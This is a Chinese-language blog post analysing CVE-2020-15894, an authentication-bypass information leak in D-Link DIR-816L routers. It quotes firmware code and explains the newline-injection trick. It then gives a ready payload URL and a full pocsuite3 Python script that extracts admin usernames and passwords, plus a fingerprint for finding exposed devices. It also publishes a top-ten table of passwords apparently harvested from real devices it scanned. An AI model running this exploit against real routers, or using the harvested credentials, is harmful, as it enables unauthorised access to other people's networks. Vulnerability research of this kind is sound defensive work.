CVE-2020-15894 D-Link DIR-816L信息泄露漏洞
背景
今天发现了 CVE-2020-15894 D-Link DIR-816L信息泄露漏洞。
项 | 描述 |
---|---|
CVE编号 | CVE-2020-15894 |
漏洞等级 | 高危 |
CNNVD编号 | CNNVD-202007-1376 |
影响厂商 | dlink友讯科技股份有限公司 |
影响固件 | dir-816l_firmware |
检索语法 | “dlink友讯科技股份有限公司.dir-816l_firmware” |
指纹 | “target=”_blank”>DIR-816L” |
危害 | 泄漏各种配置信息,包含设备密码。 |
漏洞详情
NVD对漏洞的描述:
An issue was discovered on D-Link DIR-816L devices 2.x before 1.10b04Beta02. There exists an exposed administration function in getcfg.php, which can be used to call various services. It can be utilized by an attacker to retrieve various sensitive information, such as admin login credentials, by setting the value of _POST_SERVICES in the query string to DEVICE.ACCOUNT.
问题出在getcfg.php中。(DIR-8XX系列中网上公布的有现有的Pyaload,此次和以前不一样的是请求方法为GET,参数为_POST_SERVICE
)
固件下载:http://legacyfiles.us.dlink.com/
使用fat模拟固件运行环境,如图。
使用nb进行转发,使得外部能够访问。
ssh登录,得到getcfg.php
,漏洞利用点在
1
2
3
$file = "/htdocs/webinc/getcfg/".$GETCFG\_SVC.".xml.php";
/\* GETCFG\_SVC will be passed to the child process. \*/
if (isfile($file)=="1") dophp("load", $file);
到达此步需要绕过is_power_user
函数。固件处理请求的函数均在cgibin
中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0){
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
}
反编译cgibin
找到main
函数,phpcgi
处理相应的php的请求。
phpcgi_main: 判断请求方法,Payload为GET则调用FUN_00405798。
可以看到FUN_00405798
将数据处理,以0x3d
(=号)形成键值对参数,每个键前加上_GET_
前缀。各个键值对之间以10
(ascii码 \n
)分割。
payload在经过处理后变成了
_GET_a=\n_POST_SERVICES=DEVICE.ACCOUNT\nAUTHORIZED_GROUP=1
。最终以\n
进行分割。导致_POST_SERVICES=DEVICE.ACCOUNT
和AUTHORIZED_GROUP=1
被分离出来。造成认证绕过。这也是此次GET请求中直接使用_POST_SERVICES
而不是SERVICES
的原因。
命中结果分析
收集了此次命中目标使用的密码。组成了一个字典。使用频率前十如下表:
次数 | 密码 |
---|---|
206 | 28001277 |
36 | admin |
25 | qu4dk3y |
25 | boila1! |
22 | bonev47 |
21 | r9112014 |
21 | 4163915581 |
19 | oidtbmav1 |
19 | JZax]Cd9”09qo |
19 | isiap1 |
验证代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Time : 2020/7/28 下午6:31
# Author : Morty Jin
# File : info_leak.py
# Email : [email protected]
# copyright: (c) 2020 by Morty Jin.
# license: Apache2, see LICENSE for more details.
# description: Life is Fantastic.
import json
from urllib.parse import urlparse
from lxml import etree
from pocsuite3.api import Output
from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
import requests as req
class TestPOC(POCBase):
vulID = ''
version = ''
author = [""]
vulDate = ''
createDate = ''
updateDate = ''
references = [""]
name = ""
appPowerLink = ''
appName = ''
appVersion = ''
vulType = ''
desc = '''
'''
samples = [
]
install_requires = ['']
search_keyword = ''
def _attack(self):
result = {}
#Write your code here
return self.parse_output(result)
def _verify(self):
result = {}
self.raw_url = self.url
host = urlparse(self.url).hostname
port = urlparse(self.url).port
scheme = urlparse(self.url).scheme
if port is None:
port = "80"
else:
port = str(port)
if "https" == scheme:
self.url = "%s://%s" % (scheme, host)
else:
self.url = "%s://%s:%s" % (scheme, host, port)
# Write your code here
try:
res = self.get_info()
if res:
username, password = res
result["url"] = self.url
# 单位信息,能够精准获取到的单位名称
result["unit_name"] = ""
# Web网站相关信息
result["web"] = {
# 网站默认首页的title信息(可能含有单位或组织信息)
# "title":""
}
# 凭据类信息,针对各类弱口令、默认口令漏洞
result["login_credentials"] = [
{"username": username, "password": password, "credential_type": "网站后台"},
]
except Exception as e:
pass
return self.parse_output(result)
def get_info(self):
headers = {
"User-Agent": "googlr spider"
}
payload = "/getcfg.php?a=%0A_POST_SERVICES%3DDEVICE.ACCOUNT%0AAUTHORIZED_GROUP%3D1"
try:
res = req.get(url=self.url + payload, timeout=30, headers=headers)
if res.status_code == 200 and "DEVICE.ACCOUNT" in res.text:
page = etree.XML(res.content)
username = page.xpath("/postxml/module/device/account/entry/name/text()")
password = page.xpath("/postxml/module/device/account/entry/password/text()")
print(username, password)
return (username, password)
except Exception as e:
pass
return ()
def parse_output(self, result):
output = Output(self)
if len(result.keys()) != 0:
json_result = {
"result": {"json": json.dumps(result)}
}
output.success(json_result)
else:
output.fail('Internet nothing returned')
return output
register_poc(TestPOC)
其它
这个漏洞是DIR-8XX的老问题了,不过之前的Payload的都为POST提交i的且参数也不一致。之前的Payload测试同样能够成功: